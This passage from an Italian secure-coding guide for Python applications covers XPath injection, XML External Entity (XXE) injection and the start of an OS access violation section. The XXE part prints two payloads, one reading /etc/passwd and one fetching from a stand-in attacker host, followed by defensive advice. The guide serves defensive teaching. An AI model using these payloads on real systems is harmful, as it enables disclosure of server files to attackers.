Forma corretta: la stringa inserita dall'utente viene trasformata con un'opportuna routine di escaping, prima dell'uso nella query XPath:

```
from sys import stdin
import XPath
print 'Insert item number: '
userInput = stdin.readline()
XPath.find('//item' + escaped(userInput), doc)
```

Per ulteriori informazioni si veda: http://cwe.mitre.org/data/definitions/643.html,
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').

7.5.9 XML External Entity (XXE) injection

Come riconoscerla

Se l'applicazione web riceve in input un documento XML che consente l'elaborazione di entità esterne, dichiarate nel DTD, il sistema potrebbe essere esposto a possibili attacchi di tipo XXE. Se viene effettuato il parsing di entità create ad arte, come nell'esempio seguente, potrebbero essere visualizzate dall'attaccante le password di sistema oppure eseguito del codice malevolo.
Esempio:

```
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

Come difendersi

- Bisogna evitare di incorporare entità esterne.
- Occorre assicurarsi di disabilitare il parser dal caricamento automatico di entità esterne.
- Formati di dati meno complessi, come JSON, possono rendere più difficile la serializzazione di dati sensibili.
- Devono essere apportati i necessari aggiornamenti a tutti i parser e alle librerie XML in uso da parte dell'applicazione o sul sistema operativo sottostante.
- Se viene utilizzato SOAP, occorre aggiornarlo alla versione 1.2 o successive.
- Implementare la convalida dell'input come evidenziato in altri punti.
- Verificare che la funzionalità di caricamento di file XML o XSL convalidI l'XML in entrata utilizzando uno schema XSD.
- Le librerie utilizzate da Python per fare il parsing sono: sax, etree, minidom, pulldom, xmlrpc. Nessuna di loro offre una protezione completa da attacchi di tipo XXE, per cui è necessario – se si ha necessità di importare entità esterne, di validate il contenuto in entrata prima di sottoporlo a parsing.

7.5.10 OS Access Violation

Come riconoscerla

Un malintenzionato potrebbe preparare un input che potrebbe causare una violazione di accesso, perdita di dati privati, danneggiamento di dati o un arresto di eventuali servizi con possibile arresto dell'applicazione stessa.
Il modulo OS di Python fornisce un'interfaccia destinata all'utilizzo delle funzionalità del sistema operativo che consente l'accesso al file system e alla sua manipolazione arbitraria. Nel caso in cui un aggressore fosse in grado di fornire un input specifico per il modulo OS, potrebbero verificarsi situazioni di violazione di accesso o di corruzione dei dati, laddove non fossero messi in atto i dovuti controlli.

Come difendersi